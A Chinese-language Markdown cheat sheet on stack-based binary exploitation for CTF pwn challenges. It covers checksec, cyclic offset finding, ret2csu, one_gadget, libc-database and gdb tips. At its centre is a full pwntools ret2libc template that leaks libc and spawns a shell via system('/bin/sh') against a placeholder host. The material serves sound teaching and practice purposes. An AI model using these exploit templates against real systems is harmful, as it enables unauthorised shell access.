313 lines
8.6 KiB
Markdown
313 lines
8.6 KiB
Markdown
# 栈类利用 (Stack Pwn)
|
||
|
||
## 触发条件与前置检测
|
||
|
||
### checksec 解读
|
||
|
||
```bash
|
||
checksec --file=./vuln
|
||
# 或 pwntools 自带
|
||
python -c "from pwn import *; print(ELF('./vuln'))"
|
||
```
|
||
|
||
| 输出字段 | 影响 | 应对 |
|
||
|---------|------|------|
|
||
| `NX disabled` | 栈可执行 | 直接塞 shellcode |
|
||
| `Canary found` | 栈溢出会被检测 | 必须先 leak canary 或绕过 (forked process / 格式化字符串) |
|
||
| `PIE enabled` | .text 基址随机 | 必须 leak 一个代码地址 |
|
||
| `No PIE` | .text 固定 | gadget 地址写死 |
|
||
| `Full RELRO` | got 不可写 | 不能改 got,走 ret2libc / one_gadget |
|
||
| `Partial RELRO` | got 可写 | 可以改 got 表 |
|
||
| `FORTIFY` | 部分 libc 函数被替换为 `_chk` 版本 | `read_chk` 仍然能溢出,`strcpy_chk` 不行 |
|
||
|
||
### 栈溢出长度精确定位
|
||
|
||
```python
|
||
# pwntools cyclic 模式
|
||
from pwn import *
|
||
context.arch = 'amd64'
|
||
|
||
# 1. 生成 cyclic pattern
|
||
payload = cyclic(200)
|
||
|
||
# 2. 喂给程序触发崩溃
|
||
p = process('./vuln')
|
||
p.sendline(payload)
|
||
p.wait()
|
||
|
||
# 3. 从 core dump 读 RSP 上的值
|
||
core = p.corefile
|
||
fault = core.fault_addr # 或 core.rsp 指向的 8 字节
|
||
offset = cyclic_find(fault & 0xffffffff) # 32-bit 模式
|
||
# 64-bit 用 cyclic_find(p64(fault)[:8])
|
||
log.info(f"offset = {offset}")
|
||
```
|
||
|
||
### 32 / 64 位 calling convention 速查
|
||
|
||
| 架构 | 参数传递 | 返回 | 备注 |
|
||
|------|---------|------|------|
|
||
| x86 (32-bit) | 栈传参(cdecl: 调用者清栈) | eax | 栈结构:ret_addr, arg1, arg2, ... |
|
||
| x86-64 SysV | rdi, rsi, rdx, rcx, r8, r9, 栈 | rax | rsp 必须 16-byte 对齐到 call 入口 |
|
||
| ARM32 | r0-r3, 栈 | r0 | lr 保存返回地址,bx lr 返回 |
|
||
| ARM64 | x0-x7, 栈 | x0 | 类似 SysV,更严格的对齐 |
|
||
|
||
## ret2libc 完整 pwntools 模板
|
||
|
||
```python
|
||
#!/usr/bin/env python3
|
||
from pwn import *
|
||
|
||
# === 环境配置 ===
|
||
exe = './vuln'
|
||
libc_path = './libc.so.6'
|
||
HOST, PORT = 'chal.example.com', 31337
|
||
|
||
context.binary = elf = ELF(exe)
|
||
context.log_level = 'info'
|
||
libc = ELF(libc_path)
|
||
|
||
# 自动 patchelf 让本地用题目给的 libc
|
||
# patchelf --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath . ./vuln
|
||
|
||
def conn():
|
||
if args.REMOTE:
|
||
return remote(HOST, PORT)
|
||
if args.GDB:
|
||
return gdb.debug(exe, gdbscript='''
|
||
b *main+123
|
||
continue
|
||
''')
|
||
return process(exe)
|
||
|
||
# === Stage 1: leak libc ===
|
||
p = conn()
|
||
|
||
OFFSET = 0x48 # 通过 cyclic 测出来
|
||
pop_rdi = 0x0000000000401383 # ROPgadget --binary ./vuln --only "pop|ret" | grep rdi
|
||
ret = 0x000000000040101a # 用于栈对齐
|
||
|
||
payload = b'A' * OFFSET
|
||
payload += p64(pop_rdi)
|
||
payload += p64(elf.got['puts']) # 让 puts 打印 puts@got 自己的地址
|
||
payload += p64(elf.plt['puts'])
|
||
payload += p64(elf.sym['main']) # 回到 main,复用栈溢出做第二轮
|
||
|
||
p.sendlineafter(b'> ', payload)
|
||
|
||
# 接收 leak(注意 recvuntil 锚字符串,不要用 sleep)
|
||
p.recvuntil(b'bye\n')
|
||
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
|
||
log.success(f'leaked puts @ {hex(leak)}')
|
||
|
||
# 反查 libc base
|
||
libc.address = leak - libc.sym['puts']
|
||
log.success(f'libc base = {hex(libc.address)}')
|
||
|
||
# === Stage 2: ret2libc system("/bin/sh") ===
|
||
binsh = next(libc.search(b'/bin/sh\x00'))
|
||
system = libc.sym['system']
|
||
|
||
payload = b'A' * OFFSET
|
||
payload += p64(ret) # 关键:补齐 16-byte 对齐
|
||
payload += p64(pop_rdi)
|
||
payload += p64(binsh)
|
||
payload += p64(system)
|
||
|
||
p.sendlineafter(b'> ', payload)
|
||
|
||
p.interactive()
|
||
```
|
||
|
||
### 栈对齐坑(必看)
|
||
|
||
```text
|
||
现象:本地能打通,远程 system 一进去就 SIGSEGV
|
||
原因:libc 的 system → do_system → 内部某处 movaps xmm0, [rsp]
|
||
要求 rsp 16-byte 对齐
|
||
失败:你的 ROP 链跳进 system 时,rsp 末位是 0x8 而不是 0x0
|
||
修复:在 ROP 链里插一个 `ret` gadget(消耗 8 字节,让 rsp 重新对齐)
|
||
```
|
||
|
||
## ret2csu(万能 gadget)
|
||
|
||
当二进制里没有 `pop rdx; ret` 这种第三参数 gadget 时,用 `__libc_csu_init` 里的固定结构(glibc < 2.34 静态链接的程序里都有)。
|
||
|
||
```text
|
||
__libc_csu_init 末尾固定 pattern:
|
||
add rsp, 8
|
||
pop rbx
|
||
pop rbp
|
||
pop r12
|
||
pop r13
|
||
pop r14
|
||
pop r15
|
||
ret
|
||
|
||
中间还有:
|
||
mov rdx, r15 ; r15 → rdx
|
||
mov rsi, r14 ; r14 → rsi
|
||
mov edi, r13d ; r13 → rdi (低 32 位)
|
||
call qword ptr [r12 + rbx*8]
|
||
```
|
||
|
||
pwntools 写法:
|
||
|
||
```python
|
||
csu_pop = 0x40119a # 第一段(pop rbx..r15; ret)
|
||
csu_call = 0x401180 # 第二段(mov rdx,r15; ... ; call [r12+rbx*8])
|
||
|
||
def csu(rdi, rsi, rdx, call_target):
|
||
p = p64(csu_pop)
|
||
p += p64(0) # rbx = 0
|
||
p += p64(1) # rbp = 1(要使后续 cmp rbx,rbp 通过 → rbx+1 == rbp)
|
||
p += p64(call_target) # r12 = [r12+rbx*8] 解引用得到目标
|
||
p += p64(rdi) # r13
|
||
p += p64(rsi) # r14
|
||
p += p64(rdx) # r15
|
||
p += p64(csu_call)
|
||
p += b'\x00' * 8 * 7 # 第二段 ret 后又 pop 7 个
|
||
return p
|
||
```
|
||
|
||
适用:bss 里写一个函数指针,再用 csu 调用它,常用于 `read(0, bss, 0x100)` 阶段后跳到 bss 执行 ROP。
|
||
|
||
## one_gadget 用法
|
||
|
||
```bash
|
||
one_gadget ./libc.so.6
|
||
|
||
# 输出类似:
|
||
# 0xe3afe execve("/bin/sh", r15, r12)
|
||
# constraints:
|
||
# [r15] == NULL || r15 == NULL
|
||
# [r12] == NULL || r12 == NULL
|
||
|
||
# 0xe3b01 execve("/bin/sh", r15, rdx)
|
||
# constraints:
|
||
# [r15] == NULL || r15 == NULL
|
||
# [rdx] == NULL || rdx == NULL
|
||
|
||
# 0xe3b04 execve("/bin/sh", rsi, rdx)
|
||
# constraints:
|
||
# [rsi] == NULL || rsi == NULL
|
||
# [rdx] == NULL || rdx == NULL
|
||
```
|
||
|
||
使用:
|
||
|
||
```python
|
||
og = [0xe3afe, 0xe3b01, 0xe3b04]
|
||
payload = b'A' * OFFSET
|
||
payload += p64(ret)
|
||
payload += p64(libc.address + og[1]) # 挑约束能满足的那个
|
||
```
|
||
|
||
**坑**:one_gadget 在某些 libc 版本(2.34+)约束极难满足,老老实实 ret2libc 更稳。
|
||
|
||
## libc-database 反查
|
||
|
||
场景:题目没给 libc,只能 leak 几个函数地址反推版本。
|
||
|
||
```bash
|
||
cd ~/tools/libc-database
|
||
|
||
# 用 leak 出来的 puts 和 read 地址(取后 3 位)反查
|
||
./find puts 0x6f0 read 0xfd
|
||
# 输出:libc6_2.31-0ubuntu9.9_amd64
|
||
|
||
# 拿对应 libc 的所有符号偏移
|
||
./dump libc6_2.31-0ubuntu9.9_amd64
|
||
|
||
# 下载实际 libc.so.6 到本地
|
||
ls db/libc6_2.31-0ubuntu9.9_amd64.so
|
||
```
|
||
|
||
pwntools 集成:
|
||
|
||
```python
|
||
# 在线 libc-database 查询(无需本地)
|
||
from pwnlib.libcdb import search_by_symbol_offsets
|
||
libs = search_by_symbol_offsets({'puts': 0x6f0, 'read': 0xfd})
|
||
libc = ELF(libs[0])
|
||
```
|
||
|
||
## ROPgadget 速查
|
||
|
||
```bash
|
||
# 基础:pop|ret 单 reg
|
||
ROPgadget --binary ./vuln --only "pop|ret"
|
||
|
||
# 找 syscall
|
||
ROPgadget --binary ./vuln | grep ': syscall'
|
||
|
||
# 找带特定字节
|
||
ROPgadget --binary ./libc.so.6 --only "pop|ret" | grep 'pop rdi'
|
||
|
||
# 找字符串
|
||
ROPgadget --binary ./libc.so.6 --string '/bin/sh'
|
||
|
||
# 输出 JSON 给程序解析
|
||
ROPgadget --binary ./vuln --json > gadgets.json
|
||
```
|
||
|
||
Ropper 替代(架构支持更广):
|
||
|
||
```bash
|
||
ropper --file ./vuln --search "pop rdi; ret"
|
||
ropper --file ./libc.so.6 --search "syscall"
|
||
```
|
||
|
||
## 远程稳定化清单
|
||
|
||
| 问题 | 现象 | 解决 |
|
||
|------|------|------|
|
||
| libc 版本错 | 本地通,远程 SIGSEGV in system | leak 后用 libc-database 反查实际版本 |
|
||
| 栈对齐 | system 立刻段错误 | 加一个 `ret` gadget |
|
||
| 网络延迟 | recv 收到一半 | 用 `recvuntil(b'锚字符串')`,不用 `sleep` |
|
||
| 缓冲 | sendline 发完没反应 | 改 `sendlineafter`,明确等到 prompt 再发 |
|
||
| ASLR 浮动 | 概率成功 | 看是否 byte-level brute(1/16 概率不算稳定) |
|
||
| TCP nagle | 小包合并 | `p.settimeout(2); p.recvall(timeout=2)` 保底 |
|
||
|
||
## 调试技巧
|
||
|
||
```python
|
||
# pwntools 内嵌 gdb attach
|
||
p = process('./vuln')
|
||
gdb.attach(p, '''
|
||
b *main+0x123
|
||
b *0x401234
|
||
commands
|
||
telescope $rsp 20
|
||
continue
|
||
end
|
||
''')
|
||
|
||
# 一开始就在 gdb 里跑
|
||
p = gdb.debug('./vuln', '''
|
||
set follow-fork-mode child
|
||
b main
|
||
''')
|
||
```
|
||
|
||
GEF/pwndbg 常用命令:
|
||
|
||
```text
|
||
checksec # 看保护
|
||
vmmap # 内存布局
|
||
telescope $rsp 30 # 栈链路(pwndbg)
|
||
stack 30 # 类似(GEF)
|
||
got # GOT 表
|
||
search-pattern "/bin/sh"
|
||
context # 自动显示 reg + stack + code(默认开)
|
||
ropgadget # 内嵌 gadget 搜索
|
||
```
|
||
|
||
## 注意事项
|
||
|
||
- **NX 关 + ASLR 关**才能直接 shellcode;现代二进制基本都开 NX
|
||
- **canary 在 fork 子进程里不变** — forking server 可以一次 byte 一次 byte 爆破(1/256 × 7 字节)
|
||
- **格式化字符串可以同时 leak canary 和 libc** — 用 `%p %p ... %p` 扫栈
|
||
- **DynELF 慢但万能** — 完全没给 libc 时,pwntools 的 `DynELF` 可以纯靠程序自己的 IO 原语逐字节 leak 符号表
|
||
- **静态链接的程序没有 libc.got** — 走 SROP(sigreturn-oriented programming)或直接 syscall
|